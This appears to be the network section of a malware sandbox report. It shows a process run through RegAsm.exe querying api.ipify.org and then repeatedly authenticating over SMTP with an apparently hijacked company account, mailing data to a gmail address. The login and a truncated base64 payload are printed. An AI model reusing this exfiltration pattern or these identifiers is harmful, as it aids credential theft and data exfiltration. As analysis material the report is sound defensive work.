May 27, 2024 12:46:42.139914036 CEST	49746	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:42.200277090 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:42.207798004 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:42.207870960 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:42.857615948 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:42.863760948 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:42.871834993 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:43.058973074 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:43.061069965 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:43.066015959 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:43.255989075 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:43.256805897 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:43.261776924 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:43.460714102 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:43.460875988 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:43.465976954 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:43.665532112 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:43.665699005 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:43.671238899 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:43.913484097 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:43.913755894 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:43.918751955 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.108731031 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.108993053 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.109040976 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.109062910 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.109102011 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.110255003 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.114032030 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.114109039 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.114140987 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.114181995 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.114192963 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.115171909 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.115219116 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.115257978 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.115298033 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.115302086 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.115328074 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.115344048 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.115345001 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.115387917 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.115483046 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.115525007 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.115528107 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.115564108 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.118860960 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.118876934 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.118896008 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.118918896 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.119118929 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.119163036 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.120115995 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.120152950 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.120359898 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.120424986 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.120506048 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.120527983 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.120557070 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.120584965 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.120704889 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.120750904 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.123823881 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.123878956 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.123944044 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.123985052 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.125242949 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.125294924 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.125416994 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.125458956 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.125603914 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.125646114 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.125660896 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.125711918 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:44.125755072 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.125848055 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.125874996 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.125955105 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.126019955 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.126216888 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.126264095 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.126287937 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.126311064 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.126338959 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.126379967 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.126516104 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.126539946 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.128788948 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.133135080 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.133690119 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.133734941 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.133764982 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.133788109 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.133832932 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.133873940 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.133898020 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.133924961 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.133972883 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.133996010 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.134037971 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.134061098 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.134088039 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.134135008 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.134165049 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.134192944 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.134236097 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.134263992 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.134287119 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.134326935 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.134368896 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.134392977 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.134422064 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.134449005 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.134474993 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.605283976 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:44.649652958 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:51.301925898 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:51.306962967 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:51.705590963 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:51.705713034 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:51.705770969 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:51.705820084 CEST	49747	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:51.706033945 CEST	49748	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:51.710621119 CEST	587	49747	185.5.126.24	192.168.2.7
May 27, 2024 12:46:51.710882902 CEST	587	49748	185.5.126.24	192.168.2.7
May 27, 2024 12:46:51.710968971 CEST	49748	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:52.293454885 CEST	587	49748	185.5.126.24	192.168.2.7
May 27, 2024 12:46:52.293863058 CEST	49748	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:52.298909903 CEST	587	49748	185.5.126.24	192.168.2.7
May 27, 2024 12:46:52.484839916 CEST	587	49748	185.5.126.24	192.168.2.7
May 27, 2024 12:46:52.486401081 CEST	49748	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:52.491415024 CEST	587	49748	185.5.126.24	192.168.2.7
May 27, 2024 12:46:52.677464962 CEST	587	49748	185.5.126.24	192.168.2.7
May 27, 2024 12:46:52.677896023 CEST	49748	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:52.682954073 CEST	587	49748	185.5.126.24	192.168.2.7
May 27, 2024 12:46:52.877374887 CEST	587	49748	185.5.126.24	192.168.2.7
May 27, 2024 12:46:52.877602100 CEST	49748	587	192.168.2.7	185.5.126.24
May 27, 2024 12:46:52.882620096 CEST	587	49748	185.5.126.24	192.168.2.7
May 27, 2024 12:46:53.068444014 CEST	587	49748	185.5.126.24	192.168.2.7
May 27, 2024 12:46:53.118448973 CEST	49748	587	192.168.2.7	185.5.126.24

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 27, 2024 12:42:46.466540098 CEST	57883	53	192.168.2.7	1.1.1.1
May 27, 2024 12:42:46.473836899 CEST	53	57883	1.1.1.1	192.168.2.7
May 27, 2024 12:42:48.220459938 CEST	61525	53	192.168.2.7	1.1.1.1
May 27, 2024 12:42:48.464167118 CEST	53	61525	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 27, 2024 12:42:46.466540098 CEST	192.168.2.7	1.1.1.1	0x9f84	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
May 27, 2024 12:42:48.220459938 CEST	192.168.2.7	1.1.1.1	0x1e0	Standard query (0)	mail.drconstrucciones.es	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 27, 2024 12:42:46.473836899 CEST	1.1.1.1	192.168.2.7	0x9f84	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
May 27, 2024 12:42:46.473836899 CEST	1.1.1.1	192.168.2.7	0x9f84	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
May 27, 2024 12:42:46.473836899 CEST	1.1.1.1	192.168.2.7	0x9f84	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
May 27, 2024 12:42:48.464167118 CEST	1.1.1.1	192.168.2.7	0x1e0	No error (0)	mail.drconstrucciones.es	drconstrucciones.es		CNAME (Canonical name)	IN (0x0001)	false
May 27, 2024 12:42:48.464167118 CEST	1.1.1.1	192.168.2.7	0x1e0	No error (0)	drconstrucciones.es		185.5.126.24	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49703	104.26.13.205	443	7360	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 10:42:47 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-05-27 10:42:47 UTC	211	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 10:42:47 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 88a566751f9d8c96-EWR
2024-05-27 10:42:47 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 37 35 Data Ascii: 8.46.123.175

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
May 27, 2024 12:42:49.492278099 CEST	587	49705	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:42:49 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:42:49.492532969 CEST	49705	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:42:49.689476013 CEST	587	49705	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:42:49.690510035 CEST	49705	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:42:49.887433052 CEST	587	49705	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:42:50.144268036 CEST	587	49705	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:42:50.144458055 CEST	49705	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:42:50.340785980 CEST	587	49705	185.5.126.24	192.168.2.7	250 OK
May 27, 2024 12:42:50.341238976 CEST	49705	587	192.168.2.7	185.5.126.24	RCPT TO:<ftejiero1966@gmail.com>
May 27, 2024 12:42:50.592086077 CEST	587	49705	185.5.126.24	192.168.2.7	250 Accepted
May 27, 2024 12:42:50.592245102 CEST	49705	587	192.168.2.7	185.5.126.24	DATA
May 27, 2024 12:42:50.788942099 CEST	587	49705	185.5.126.24	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 27, 2024 12:42:50.789571047 CEST	49705	587	192.168.2.7	185.5.126.24	.
May 27, 2024 12:42:51.126630068 CEST	587	49705	185.5.126.24	192.168.2.7	250 OK id=1sBXoZ-0007nN-1J
May 27, 2024 12:44:19.422826052 CEST	49705	587	192.168.2.7	185.5.126.24	QUIT
May 27, 2024 12:44:19.821295023 CEST	587	49705	185.5.126.24	192.168.2.7	221 cpanel05.almazena.com closing connection
May 27, 2024 12:44:20.912329912 CEST	587	49725	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:44:20 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:44:20.912544012 CEST	49725	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:44:21.103214025 CEST	587	49725	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:44:21.103429079 CEST	49725	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:44:21.294456959 CEST	587	49725	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:44:21.538275957 CEST	587	49725	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:44:21.538606882 CEST	49725	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:44:21.729146957 CEST	587	49725	185.5.126.24	192.168.2.7	250 OK
May 27, 2024 12:44:21.729512930 CEST	49725	587	192.168.2.7	185.5.126.24	RCPT TO:<ftejiero1966@gmail.com>
May 27, 2024 12:44:21.963848114 CEST	587	49725	185.5.126.24	192.168.2.7	250 Accepted
May 27, 2024 12:44:21.964359045 CEST	49725	587	192.168.2.7	185.5.126.24	DATA
May 27, 2024 12:44:22.154885054 CEST	587	49725	185.5.126.24	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 27, 2024 12:44:22.180877924 CEST	49725	587	192.168.2.7	185.5.126.24	.
May 27, 2024 12:44:22.651798010 CEST	587	49725	185.5.126.24	192.168.2.7	250 OK id=1sBXq2-0008A9-2V
May 27, 2024 12:44:31.759906054 CEST	49725	587	192.168.2.7	185.5.126.24	QUIT
May 27, 2024 12:44:32.133241892 CEST	49725	587	192.168.2.7	185.5.126.24	QUIT
May 27, 2024 12:44:32.552560091 CEST	587	49725	185.5.126.24	192.168.2.7	221 cpanel05.almazena.com closing connection
May 27, 2024 12:44:33.384042978 CEST	587	49726	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:44:33 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:44:33.384222031 CEST	49726	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:44:33.578844070 CEST	587	49726	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:44:33.579092979 CEST	49726	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:44:33.773971081 CEST	587	49726	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:44:33.979165077 CEST	587	49726	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:44:33.979424000 CEST	49726	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:44:34.173971891 CEST	587	49726	185.5.126.24	192.168.2.7	250 OK
May 27, 2024 12:44:34.174379110 CEST	49726	587	192.168.2.7	185.5.126.24	RCPT TO:<ftejiero1966@gmail.com>
May 27, 2024 12:44:34.390714884 CEST	587	49726	185.5.126.24	192.168.2.7	250 Accepted
May 27, 2024 12:44:34.390940905 CEST	49726	587	192.168.2.7	185.5.126.24	DATA
May 27, 2024 12:44:34.585176945 CEST	587	49726	185.5.126.24	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 27, 2024 12:44:35.081151962 CEST	587	49726	185.5.126.24	192.168.2.7	250 OK id=1sBXqF-0008CD-0f
May 27, 2024 12:44:39.877152920 CEST	49726	587	192.168.2.7	185.5.126.24	QUIT
May 27, 2024 12:44:40.276748896 CEST	587	49726	185.5.126.24	192.168.2.7	221 cpanel05.almazena.com closing connection
May 27, 2024 12:44:41.402970076 CEST	587	49727	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:44:41 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:44:41.407856941 CEST	49727	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:44:41.602571964 CEST	587	49727	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:44:41.613728046 CEST	49727	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:44:41.810734987 CEST	587	49727	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:44:42.016335964 CEST	587	49727	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:44:42.016634941 CEST	49727	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:44:42.216451883 CEST	587	49727	185.5.126.24	192.168.2.7	250 OK
May 27, 2024 12:44:42.216896057 CEST	49727	587	192.168.2.7	185.5.126.24	RCPT TO:<ftejiero1966@gmail.com>
May 27, 2024 12:44:42.473290920 CEST	587	49727	185.5.126.24	192.168.2.7	250 Accepted
May 27, 2024 12:44:42.473484993 CEST	49727	587	192.168.2.7	185.5.126.24	DATA
May 27, 2024 12:44:42.668317080 CEST	587	49727	185.5.126.24	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 27, 2024 12:44:42.692990065 CEST	49727	587	192.168.2.7	185.5.126.24	.
May 27, 2024 12:44:43.163454056 CEST	587	49727	185.5.126.24	192.168.2.7	250 OK id=1sBXqN-0008EG-0v
May 27, 2024 12:44:50.321234941 CEST	49727	587	192.168.2.7	185.5.126.24	QUIT
May 27, 2024 12:44:50.717545033 CEST	587	49727	185.5.126.24	192.168.2.7	221 cpanel05.almazena.com closing connection
May 27, 2024 12:44:51.581449032 CEST	587	49728	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:44:51 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:44:51.581667900 CEST	49728	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:44:51.776092052 CEST	587	49728	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:44:51.781795979 CEST	49728	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:44:51.976372004 CEST	587	49728	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:44:52.187263966 CEST	587	49728	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:44:52.187469959 CEST	49728	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:44:52.381880045 CEST	587	49728	185.5.126.24	192.168.2.7	250 OK
May 27, 2024 12:44:52.382061958 CEST	49728	587	192.168.2.7	185.5.126.24	RCPT TO:<ftejiero1966@gmail.com>
May 27, 2024 12:44:52.636728048 CEST	587	49728	185.5.126.24	192.168.2.7	250 Accepted
May 27, 2024 12:44:52.636912107 CEST	49728	587	192.168.2.7	185.5.126.24	DATA
May 27, 2024 12:44:52.831424952 CEST	587	49728	185.5.126.24	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 27, 2024 12:44:52.849104881 CEST	49728	587	192.168.2.7	185.5.126.24	392W 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 